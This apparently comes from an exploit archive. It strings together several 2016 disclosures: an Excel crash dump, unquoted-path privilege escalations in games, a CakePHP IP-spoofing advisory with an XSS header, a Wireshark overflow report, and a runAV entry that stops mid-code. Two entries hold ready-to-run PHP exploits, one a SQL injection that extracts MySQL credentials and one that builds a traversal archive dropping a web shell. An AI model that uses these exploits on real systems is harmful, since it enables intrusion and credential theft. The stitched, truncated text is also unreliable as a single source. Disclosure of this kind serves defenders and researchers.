ModLoad: 30000000 313d1000   Excel.exe
ModLoad: 7c900000 7c9af000   ntdll.dll
ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
(...)
ModLoad: 6bdc0000 6be7c000   C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSPTLS.DLL
ModLoad: 65100000 6519e000   C:\Program Files\Common Files\Microsoft Shared\OFFICE14\USP10.DLL
(cb4.854): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0000000c ecx=00000000 edx=00000000 esi=0ab4aea0 edi=0000401d
eip=44175083 esp=0013e3a8 ebp=0013e3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE14\OGL.DLL - 
OGL!GdipGetImageThumbnail+0x1118e:
44175083 ff7104          push    dword ptr [ecx+4]    ds:0023:00000004=????????

0:000> r;!exploitable -v;r;ub;kv;q
eax=00000001 ebx=0000000c ecx=00000000 edx=00000000 esi=0ab4aea0 edi=0000401d
eip=44175083 esp=0013e3a8 ebp=0013e3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
OGL!GdipGetImageThumbnail+0x1118e:
44175083 ff7104          push    dword ptr [ecx+4]    ds:0023:00000004=????????

!exploitable 1.6.0.0
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
(...)
Exception Faulting Address: 0x4
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Read Access Violation

Faulting Instruction:44175083 push dword ptr [ecx+4]

Basic Block:
    44175083 push dword ptr [ecx+4]
       Tainted Input operands: 'ecx'
    44175086 push dword ptr [ecx]
       Tainted Input operands: 'ecx'
    44175088 mov ecx,dword ptr [ebp+8]
    4417508b mov eax,dword ptr [ecx]
    4417508d call dword ptr [eax+4]
       Tainted Input operands: 'StackContents'

Exception Hash (Major/Minor): 0xd8abe4f2.0x3a6d64a1

 Hash Usage : Stack Trace:
Major+Minor : OGL!GdipGetImageThumbnail+0x1118e
Major+Minor : OGL!GdipGetPathPointsI+0x2da6
Major+Minor : OGL!GdipGetPathPointsI+0x2b0e
Major+Minor : OGL!GdipGetPathPointsI+0x2a98
Major+Minor : GDI32!SetMetaRgn+0x87
Minor       : OGL!GdipCreateMetafileFromWmfFile+0x652
Minor       : OGL!GdipGetPathPointsI+0x2d1b
Minor       : OGL!GdipGetPathPointsI+0x2b73
Minor       : OGL!GdipCreateMetafileFromWmfFile+0x573
Minor       : OGL!GdipGetVisibleClipBoundsI+0x1c6
Minor       : OGL!GdipDrawImageRectRect+0x111
Minor       : gfx+0x147d74
Minor       : gfx+0x4f9f
Minor       : gfx+0x13ec8
Minor       : gfx+0x13ec8
Minor       : gfx+0x13ec8
Minor       : gfx+0x4ecd
Minor       : gfx+0xed1a
Minor       : gfx+0xecef
Minor       : gfx+0xecc3
Minor       : gfx+0xf6fc
Minor       : gfx+0xe84d
Minor       : gfx+0xf4db
Minor       : gfx+0xe84d
Minor       : gfx+0xf685
Minor       : gfx+0xe817
Minor       : gfx+0xebd8
Minor       : oart!Ordinal3680+0xb8
Minor       : oart!Ordinal1491+0x156
Minor       : Excel!Ordinal40+0x20d620
Minor       : Excel!Ordinal40+0x1f8e2c
Minor       : Excel!Ordinal40+0x60961
Minor       : Excel!Ordinal40+0x607aa
Minor       : Excel!Ordinal40+0x5e95b
Minor       : Excel!Ordinal40+0x5e76f
Minor       : Excel!Ordinal40+0x2f054
Minor       : Excel!Ordinal40+0x1763d
Minor       : USER32!GetDC+0x6d
Minor       : USER32!GetDC+0x14f
Minor       : USER32!IsWindowUnicode+0xa1
Minor       : USER32!CallWindowProcW+0x1b
Minor       : Comctl32!Ordinal11+0x328
Minor       : Comctl32!RemoveWindowSubclass+0x17e
Minor       : Comctl32!DefSubclassProc+0x46
Minor       : mso!Ordinal1888+0x38e
Minor       : mso!Ordinal4894+0x24b
Minor       : Comctl32!RemoveWindowSubclass+0x17e
Minor       : Comctl32!DefSubclassProc+0xa9
Minor       : USER32!GetDC+0x6d
Minor       : USER32!GetDC+0x14f
Minor       : USER32!DefWindowProcW+0x180
Minor       : USER32!DefWindowProcW+0x1cc
Minor       : ntdll!KiUserCallbackDispatcher+0x13
Minor       : USER32!DispatchMessageW+0xf
Minor       : Excel!Ordinal40+0x24572
Minor       : Excel!Ordinal40+0x24441
Minor       : Excel!Ordinal40+0x424b
Minor       : Excel!Ordinal40+0x3f0a
Minor       : kernel32!RegisterWaitForInputIdle+0x49
Instruction Address: 0x0000000044175083

Description: Read Access Violation near NULL
Short Description: ReadAVNearNull

Exploitability Classification: PROBABLY_NOT_EXPLOITABLE
Recommended Bug Title: Read Access Violation near NULL starting at OGL!GdipGetImageThumbnail+0x000000000001118e (Hash=0xd8abe4f2.0x3a6d64a1)

This is a user mode read access violation near null, and is probably not exploitable.
----------------------------------------------------------------------
More:

> r
eax=00000001 ebx=0000000c ecx=00000000 edx=00000000 esi=0ab4aea0 edi=0000401d
eip=44175083 esp=0013e3a8 ebp=0013e3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
OGL!GdipGetImageThumbnail+0x1118e:
44175083 ff7104          push    dword ptr [ecx+4]    ds:0023:00000004=????????

> ub
OGL!GdipGetImageThumbnail+0x1117b:
44175070 8b01            mov     eax,dword ptr [ecx]
44175072 ff5004          call    dword ptr [eax+4]
44175075 8bc8            mov     ecx,eax
44175077 e88e4af0ff      call    OGL!GdipGetPathPointsI+0x40d5 (44079b0a)
4417507c 5d              pop     ebp
4417507d c21000          ret     10h
44175080 55              push    ebp
44175081 8bec            mov     ebp,esp

> kv
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0013e3a8 440787db 0ab4aea0 0000401d 00000000 OGL!GdipGetImageThumbnail+0x1118e
0013e3c8 44078543 0000401d 00000000 00000000 OGL!GdipGetPathPointsI+0x2da6
0013e3f8 440784cd 0000015c 07915974 07915028 OGL!GdipGetPathPointsI+0x2b0e
0013e410 77f2067f 2f011136 012f2750 07915904 OGL!GdipGetPathPointsI+0x2a98
0013e490 44074c79 2f011136 404ccccc 4407840d GDI32!SetMetaRgn+0x87
0013e4c8 44078750 2f011136 3e460aa3 0013e548 OGL!GdipCreateMetafileFromWmfFile+0x652
0013e568 440785a8 43487fff 3e460aa3 0013e6a0 OGL!GdipGetPathPointsI+0x2d1b
0013e6b8 44074b9a 00000000 42c00000 42c00000 OGL!GdipGetPathPointsI+0x2b73
0013e7b4 4402cfc4 0ab4a320 00000000 00000000 OGL!GdipCreateMetafileFromWmfFile+0x573
0013e818 4403e16f 0ab4a320 0013e840 0013e850 OGL!GdipGetVisibleClipBoundsI+0x1c6
0013e888 438e7d74 00000000 00000000 00000000 OGL!GdipDrawImageRectRect+0x111
0013e998 437a4f9f 0874a780 07aeec68 ad01865f gfx+0x147d74
0013ea64 437b3ec8 0874a780 00000001 0722b898 gfx+0x4f9f
0013ea78 437b3ec8 0874a780 00000000 0722b848 gfx+0x13ec8
0013ea8c 437b3ec8 0874a780 0013eb40 0b06f120 gfx+0x13ec8
0013eaa0 437a4ecd 0874a780 ad018713 0013ee04 gfx+0x13ec8
0013eb28 437aed1a 0722b848 0013eb40 0013f194 gfx+0x4ecd
0013eb70 437aecef 0b06f120 0013ebac 0013f194 gfx+0xed1a
0013eb88 437aecc3 086f2410 0013ebac 0013f194 gfx+0xecef
0013ebf4 437af6fc 0013ec80 086f2410 00000002 gfx+0xecc3
----------------------------------------------------------------------

0:000> u eip
OGL!GdipGetImageThumbnail+0x1118e:
44175083 ff7104          push    dword ptr [ecx+4]
44175086 ff31            push    dword ptr [ecx]
44175088 8b4d08          mov     ecx,dword ptr [ebp+8]
4417508b 8b01            mov     eax,dword ptr [ecx]
4417508d ff5004          call    dword ptr [eax+4]
44175090 8bc8            mov     ecx,eax
44175092 e8922bebff      call    OGL!GdipDeletePen+0x115 (44027c29)
44175097 5d              pop     ebp


0:000> kvn1
 # ChildEBP RetAddr  Args to Child              
00 0013e308 440787db 08f22870 0000401d 00000000 OGL!GdipGetImageThumbnail+0x1118e

0:000> dd ecx+4
00000004  ???????? ???????? ???????? ????????
00000014  ???????? ???????? ???????? ????????
00000024  ???????? ???????? ???????? ????????
00000034  ???????? ???????? ???????? ????????
00000044  ???????? ???????? ???????? ????????
00000054  ???????? ???????? ???????? ????????
00000064  ???????? ???????? ???????? ????????
00000074  ???????? ???????? ???????? ????????


0:000> u eip-11
OGL!GdipGetImageThumbnail+0x1117d:
44175072 ff5004          call    dword ptr [eax+4]
44175075 8bc8            mov     ecx,eax
44175077 e88e4af0ff      call    OGL!GdipGetPathPointsI+0x40d5 (44079b0a)
4417507c 5d              pop     ebp
4417507d c21000          ret     10h
44175080 55              push    ebp
44175081 8bec            mov     ebp,esp
44175083 ff7104          push    dword ptr [ecx+4] <= crash

OGL!GdipGetImageThumbnail+0x1118e:
44175083 ff7104          push    dword ptr [ecx+4]    ds:0023:00000004=????????

----------------------------------------------------------------------
By: HauntIT Blog @ 2016
            
-----------------------------------------------------------------------------------------------------------------
# Exploit Title: Hex : Shard of Fate 1.0.1.026 - Privilege
Escalation Unquoted path vulnerability
# Date: 15/05/2016
# Exploit Author : Cyril Vallicari
# Vendor Homepage: http://gameforge.com
# Software Link:  https://hex.gameforge.com/ or via steam
# Version:  1.0.1.026 and probably prior
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)

Summary : Hex: Shard of Fate is a new breed of digital card game, combining
classic TCG gameplay with elements of an online RPG

Description : The game executable is prone to an unquoted path
vulnerability. When you go to the in-game store it fail to quote the
following command which is used multiple times :

C:/Program Files (x86)/Steam/steamapps/common/HEX SHARDS OF
FATE/Hex_Data/StreamingAssets/uWebKit/Windows/x86/UWKProcess.exe -parentpid
5808
-processdb QzovVXNlcnMvVXRpbGlzYXRldXIvQXBwRGF0YS9Mb2NhbExvdy9IRVggRW50ZXJ0YWlubWVu
dC9IZXgvdVdlYktpdFByb2Nlc3MuZGI=

This could potentially allow an authorized but non-privileged local user to
execute arbitrary code with elevated privileges on the system.

POC :

Put a software named Program.exe in C:

Launch the game or steam with high privileges and go to store

POC video : https://www.youtube.com/watch?v=E1_1wZea1ck

Patch :

Still waiting, no reward so full disclosure after 10 days
-----------------------------------------------------------------------------------------------------------------
            
/*
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/DNS_DHCP-WEB-INTERFACE-SQL-INJECTION.txt
[+] ISR: apparitionsec

Vendor:
====================
tmcdos / sourceforge

Product:
======================
dns_dhcp Web Interface

Download: sourceforge.net/projects/dnsmasq-mikrotik-admin/?source=directory

This is a very simple web interface for management of static DHCP leases in
DNSmasq and Mikrotik.
It generates config files for DNSmasq and uses RouterOS API to manage
Mikrotik. Network devices (usually PCs)
are separated into subnets by department and use triplets (hostname, MAC
address, IP address) for identification.
Information is stored in MySQL.

Vulnerability Type:
===================
SQL Injection

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

The 'net' HTTP form POST parameter to dns.php script is not
checked/santized and is used directly in MySQL query allowing
attacker to easily exfiltrate any data from the backend database by using
SQL Injection exploits.

1) On line 239 of dns.php
$b = str_replace('{FIRMA}',a_select('SUBNET',$_REQUEST['net']),$b);

2)
dns.php line 187 the a_select function where 2nd argument $_REQUEST['net']
is passed to an concatenated to query ($clause)
and executed on line 194 mysql_query($query).

function a_select($tbl,$clause,$field='',$where='')
{
if ($clause==0) return '&#160;';
if($field=='') $field=$tbl;
$query = "SELECT $field FROM $tbl WHERE ";
if($where=='') $query.='ID='.$clause;
else $query.=$where;
$res = mysql_query($query) or
trigger_error($query.'<br>'.mysql_error(),E_USER_ERROR);
if(mysql_num_rows($res)>0) return mysql_result($res,0,0);
else return '&#160;';
}

Exploit code(s):
===============

Run from CL...
*/

<?php
#dns_dhcp SQL Injection Exploit
#exfiltrates host, user and password from MySQL
#by hyp3rlinx
#ISR - apparitionsec
#hyp3rlinx.altervista.org
#========================


$victim="localhost";
$url="/dns_dhcp/dns/dns.php";
$port=80;
$r='';

$s = fsockopen($victim, $port, $errno, $errstr, 30);
if(!$s){echo "Cant connect to the fucking server!"; exit();}

$sql="net=1 and (select 1 from(select count(*),concat((select (select
concat(0x2b,host,0x2b,user,0x2b,password,0x2b)) from mysql.user limit
1),floor(rand(0)*2))x from mysql.user group by x)a)";

    $out = "POST $url HTTP/1.1\r\n";
    $out .= "Host: $victim\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($sql) . "\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($s, $out);
    fwrite($s, $sql);
    while (!feof($s)) {
        $r .= fgets($s, 128);
if(strpos($r,'Duplicate entry')!==FALSE){
$idx=strpos($r,'Duplicate entry');
echo substr($r,$idx);
break;
}
    }
    fclose($s);
/*
Example result:
Duplicate entry
'+localhost+root+*6691484EA6B50DDDE1926A220DA01FA9E575C18A+1' for key
'group_key'
*/
?>

/*
Disclosure Timeline:
===============================
Vendor Notification:  NA
May 14, 2016 : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
================
High

Description:
==================================================
Request Method(s):        [+] POST

Vulnerable Product:       [+] dns_dhcp Web Interface

Vulnerable Parameter(s):  [+] 'net'
=====================================================

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
*/
            
/*
[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/EXTPLORER-ARCHIVE-PATH-TRAVERSAL.txt
[+] ISR: apparitionsec

Vendor:
==============
extplorer.net

Product:
==================
eXtplorer v2.1.9

eXtplorer is a PHP and Javascript-based File Manager, it allows to browse
directories, edit, copy, move, delete,
search, upload and download files, create & extract archives, create new
files and directories, change file
permissions (chmod) and more. It is often used as FTP extension for popular
applications like Joomla.

Vulnerability Type:
======================
Archive Path Traversal

CVE Reference:
==============
CVE-2016-4313

Vulnerability Details:
=====================

eXtplorer unzip/extract feature allows for path traversal as decompressed
files can be placed outside of the intended target directory,
if the archive content contains "../" characters. This can result in files
like ".htaccess" being overwritten or RCE / back door
exploits.


Tested on Windows


Reproduction steps:
==================

1) Generate an archive using below PHP script
2) Upload it to eXtplorer and then extract it
3) Check directory for the default 'RCE.php' file or use CL switch to
overwrite files like .htaccess


Exploit code(s):
===============

Run below PHP script from CL...

[evil-archive.php]
*/

<?php

if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default?
Y/[file]>";exit();}
$zipname=$argv[1];
$exploit_file="RCE.php";
$cmd='<?php exec($_GET["cmd"]); ?>';
if(!empty($argv[2])&&is_numeric($argv[2])){
$depth=$argv[2];
}else{
echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";
exit();
}
if(strtolower($argv[3])!="y"){
if(!empty($argv[3])){
$exploit_file=$argv[3];
}
if(!empty($argv[4])){
$cmd=$argv[4];
}else{
echo "Usage: enter a payload for file $exploit_file wrapped in double
quotes";
exit();
}
}
$zip = new ZipArchive();
$res = $zip->open("$zipname.zip", ZipArchive::CREATE);
$zip->addFromString(str_repeat("..\\", $depth).$exploit_file, $cmd);
$zip->close();
echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n";
echo "================ by hyp3rlinx ===================";
?>

/*
///////////////////////////////////////////////////////////////////////

[Script examples]

Use default RCE.php by passing "y" flag creating DOOM.zip with path depth
of 2 levels
c:\>php evil-archive.php  DOOM 2  Y


Create DOOM.zip with path depth of 4 levels and .htaccess file to overwrite
one on the system.
c:\>php evil-archive.php  DOOM 4  .htaccess  "allow from all"


Disclosure Timeline:
===================================
Vendor Notification: No reply
May 14, 2016 : Public Disclosure

Exploitation Method:
======================
Local

Severity Level:
================
Medium 6.3
CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information.

hyp3rlinx
*/
            
-----------------------------------------------------------------------------------------------------------------
# Exploit Title: Multiples Nexon Games - Privilege Escalation Unquoted path vulnerabilities
# Date: 13/05/2016
# Exploit Author : Cyril Vallicari
# Vendor Homepage: http://www.nexon.net/
# Softwares Links: http://dirtybomb.nexon.net/ (DirtyBomb)
#                               http://store.steampowered.com/app/273110/ (CSNZ)
# Versions: Dirty Bomb r56825 USA_EU / CSNZ : 0.0.18845.1
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)

Description : Multiples Nexon Game, including but not limited to Dirty Bomb
and Counter-Strike Nexon : Zombies,  are Prone to unquoted path
vulnerability. They fail to quote correctly the command that call for
BlackXcht.aes, which is a part of the anti-cheat system (Nexon  Game
Security). Probably all Nexon games calling this file are affected.

This could potentially allow an authorized but non-privileged local user to
execute arbitrary code with elevated privileges on the system.

POC :

Put a software named Program.exe in C:

Launch the game via steam

When BlackXcht.aes is called, Program.exe is executed with same rights as
steam

POC video : https://www.youtube.com/watch?v=wcn62GGwtcQ

Patch :

Patch for Dirty bomb - Upgrade to r57457 USA_EU
-----------------------------------------------------------------------------------------------------------------
            
=============================================
- Release date: 12.05.2016
- Discovered by: Dawid Golunski
- Severity: Medium
=============================================

 
I. VULNERABILITY
-------------------------

CakePHP Framework  <= 3.2.4      IP Spoofing Vulnerability
		      3.1.11
		      2.8.1
		      2.7.10
		      2.6.12
 
II. BACKGROUND
-------------------------

- CakePHP Framework

http://cakephp.org/

"CakePHP makes building web applications simpler, faster and require less code. 

CakePHP is a modern PHP 5.4+ framework with a flexible Database access layer 
and a powerful scaffolding system that makes building both small and complex 
systems a breeze. "

 
III. INTRODUCTION
-------------------------

CakePHP Framework contains a vulnerability that allows to spoof the source IP 
address. This can allow to bypass access control lists, or injection of 
malicious data which, if treated as sanitized by an unaware CakePHP-based 
application, can lead to other vulnerabilities such as SQL injection, XSS, 
command injection etc.


IV. DESCRIPTION
-------------------------
 
Both branches of CakePHP Framework (2.x, 3.x) contain a clientIp() method that
allows to obtain the IP address of a client accessing a CakePHP-based 
application. The is slightly different in each branch:

CakePHP 2.x:

------[ Cake/Network/CakeRequest.php ]------

        public function clientIp($safe = true) {
                if (!$safe && env('HTTP_X_FORWARDED_FOR')) {
                        $ipaddr = preg_replace('/(?:,.*)/', '', env('HTTP_X_FORWARDED_FOR'));
                } else {
                        if (env('HTTP_CLIENT_IP')) {
                                $ipaddr = env('HTTP_CLIENT_IP');
                        } else {
                                $ipaddr = env('REMOTE_ADDR');
                        }
                }

                if (env('HTTP_CLIENTADDRESS')) {
                        $tmpipaddr = env('HTTP_CLIENTADDRESS');

                        if (!empty($tmpipaddr)) {
                                $ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr);
                        }
                }
                return trim($ipaddr);
        }

--------------------------------------------


CakePHP 3.x:

------[ cakephp/src/Network/Request.php ]------

    /**
     * Get the IP the client is using, or says they are using.
     *
     * @return string The client IP.
     */
    public function clientIp()
    {
        if ($this->trustProxy && $this->env('HTTP_X_FORWARDED_FOR')) {
            $ipaddr = preg_replace('/(?:,.*)/', '', $this->env('HTTP_X_FORWARDED_FOR'));
        } else {
            if ($this->env('HTTP_CLIENT_IP')) {
                $ipaddr = $this->env('HTTP_CLIENT_IP');
            } else {
                $ipaddr = $this->env('REMOTE_ADDR');
            }
        }

        if ($this->env('HTTP_CLIENTADDRESS')) {
            $tmpipaddr = $this->env('HTTP_CLIENTADDRESS');

            if (!empty($tmpipaddr)) {
                $ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr);
            }
        }
        return trim($ipaddr);
    }

--------------------------------------------


Both of the methods contain the same vulnerability. Despite the safe flag 
(CakePHP 2.x), and trustyProxy flag (CakePHP 3.x) set to off by default, they 
both use HTTP_CLIENT_IP request header (if it exists) instead of the 
REMOTE_ADDR variable set by the web server. 

The HTTP_CLIENT_IP header can easily be spoofed by sending CLIENT-IP header
in a HTTP request. 

 
V. PROOF OF CONCEPT EXPLOIT
-------------------------
 

A) Simple PoC

Download a vulnerable version of CakePHP framework and edit 
src/Template/Pages/home.ctp to include the PoC code below
which echoes the visitor's IP using the clientIp() method:


-------[ src/Template/Pages/home.ctp ]--------

<?php

[...]

use Cake\Cache\Cache;
use Cake\Core\Configure;
use Cake\Datasource\ConnectionManager;
use Cake\Error\Debugger;
use Cake\Network\Exception\NotFoundException;

$this->layout = false;

if (!Configure::read('debug')):
    throw new NotFoundException();
endif;

$cakeDescription = 'CakePHP: the rapid development php framework';

echo "PoC \n<br> Your IP is: [". $this->request->clientIp() ."]\n\n<br><br>";

[...]

?>

----------------------------------------------


If we send the following request with CLIENT-IP header containing an arbitrary
IP and malicious XSS data:


GET /cake/cake3/ HTTP/1.1
Host: centos
CLIENT-IP: 100.200.300.400 <script>alert('poc');</script>
Content-Length: 2


the application will give the following response:


HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

PoC 
<br> Your IP is: [100.200.300.400 <script>alert('poc');</script>]

[...]


As we can see the clientIp() method returns the fake IP and XSS payload
from CLIENT-IP header.


B) Croogo CMS exploit

An example application vulnerable to this bug is Croogo CMS:

https://croogo.org/

"Croogo is a free, open source, content management system for PHP,
released under The MIT License. It is powered by CakePHP MVC framework.
It was first released on October 07, 2009"

In one of its scripts we can find the isWhitelistedRequest() which
takes care of ACLs:


-------[ Vendor/croogo/croogo/Croogo/Lib/CroogoRouter.php ]--------


/**
 * Check wether request is from a whitelisted IP address
 *
 * @see CakeRequest::addDetector()
 * @param $request CakeRequest Request object
 * @return boolean True when request is from a whitelisted IP Address
 */
        public static function isWhitelistedRequest(CakeRequest $request) {
                if (!$request) {
                        return false;
                }
                $clientIp = $request->clientIp();
                $whitelist = array_map(
                        'trim',
                        (array)explode(',', Configure::read('Site.ipWhitelist'))
                );
                return in_array($clientIp, $whitelist);
        }

-------------------------------------------------------------------

As we can see, it uses the affected clientIp() function from CakePHP framework.


VI. BUSINESS IMPACT
-------------------------

This vulnerability could be used to bypass access control lists to get
access to sensitive data, or lead to higher severity vulnerabilities
if untrusted data returned by clientIp() method is treated as safe and used
without appropriate sanitization within SQL queries, system command calls etc.
 
VII. SYSTEMS AFFECTED
-------------------------

According to the vendor, the following versions of CakePHP framework should be
affected by this issue.

3.1.11
3.2.4
2.8.1
2.7.10
2.6.12

 
VIII. SOLUTION
-------------------------

The vendor has released patched versions.
Install the latest version from the link below.
 
IX. REFERENCES
-------------------------

http://legalhackers.com

http://legalhackers.com/advisories/CakePHP-IP-Spoofing-Vulnerability.txt

Vendor security CakePHP releases:
http://bakery.cakephp.org/2016/03/13/cakephp_2613_2711_282_3017_3112_325_released.html

http://book.cakephp.org/3.0/en/controllers/request-response.html#working-with-http-methods-headers


X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
 
XI. REVISION HISTORY
-------------------------

12.05.2016 - Final advisory released
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=740

The following crash due to a heap-based out-of-bounds read can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==8910==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001335c at pc 0x0000004558a4 bp 0x7fffa0f13710 sp 0x7fffa0f12ec0
READ of size 16385 at 0x61b00001335c thread T0
    #0 0x4558a3 in memcpy llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:438
    #1 0x7f1d70c97b65 in g_memdup (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x65b65)
    #2 0x7f1d78b4c531 in AirPDcapDecryptWPABroadcastKey wireshark/epan/crypt/airpdcap.c:360:32
    #3 0x7f1d78b4ba8c in AirPDcapRsna4WHandshake wireshark/epan/crypt/airpdcap.c:1522:21
    #4 0x7f1d78b424f6 in AirPDcapScanForKeys wireshark/epan/crypt/airpdcap.c:602:13
    #5 0x7f1d78b40d28 in AirPDcapPacketProcess wireshark/epan/crypt/airpdcap.c:815:21
    #6 0x7f1d79a70590 in dissect_ieee80211_common wireshark/epan/dissectors/packet-ieee80211.c:17818:9
    #7 0x7f1d79a44406 in dissect_ieee80211 wireshark/epan/dissectors/packet-ieee80211.c:18426:10
    #8 0x7f1d7898a941 in call_dissector_through_handle wireshark/epan/packet.c:626:8
    #9 0x7f1d7897d0ca in call_dissector_work wireshark/epan/packet.c:701:9
    #10 0x7f1d7897c89d in dissector_try_uint_new wireshark/epan/packet.c:1160:9
    #11 0x7f1d796c1235 in dissect_frame wireshark/epan/dissectors/packet-frame.c:493:11
    #12 0x7f1d7898a941 in call_dissector_through_handle wireshark/epan/packet.c:626:8
    #13 0x7f1d7897d0ca in call_dissector_work wireshark/epan/packet.c:701:9
    #14 0x7f1d78986c0e in call_dissector_only wireshark/epan/packet.c:2674:8
    #15 0x7f1d7897839f in call_dissector_with_data wireshark/epan/packet.c:2687:8
    #16 0x7f1d789778c1 in dissect_record wireshark/epan/packet.c:509:3
    #17 0x7f1d7892ac99 in epan_dissect_run_with_taps wireshark/epan/epan.c:376:2
    #18 0x52eebb in process_packet wireshark/tshark.c:3748:5
    #19 0x5281ac in load_cap_file wireshark/tshark.c:3504:11
    #20 0x51e4bc in main wireshark/tshark.c:2213:13

0x61b00001335c is located 0 bytes to the right of 1500-byte region [0x61b000012d80,0x61b00001335c)
allocated by thread T0 here:
    #0 0x4c2098 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
    #1 0x7f1d70c80610 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e610)
    #2 0x7f1d8543f638 in wtap_open_offline wireshark/wiretap/file_access.c:1082:2
    #3 0x5244dd in cf_open wireshark/tshark.c:4215:9
    #4 0x51decd in main wireshark/tshark.c:2204:9

SUMMARY: AddressSanitizer: heap-buffer-overflow llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:438 in memcpy
Shadow bytes around the buggy address:
  0x0c367fffa610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffa620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffa630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffa640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffa650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fffa660: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
  0x0c367fffa670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c367fffa680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c367fffa690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffa6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c367fffa6b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==8910==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=12175. Attached are three files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39812.zip
            
# Title : runAV mod_security Remote Command Execution
# Date : 13/05/2016
# Author : R-73eN
# Tested on : mod_security with runAV Linux 4.2.0-30-generic #36-Ubuntu SMP Fri Feb 26 00:57:19 UTC 2016 i686 i686 i686 GNU/Linux
# Software : https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/util/av-scanning/runAV
# Vendor : https://www.modsecurity.org/
#  ___        __        ____                 _    _  
# |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    
#  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    
#  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ 
# |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|
#
#



#include "common.h"

main(int argc, char *argv[])
{
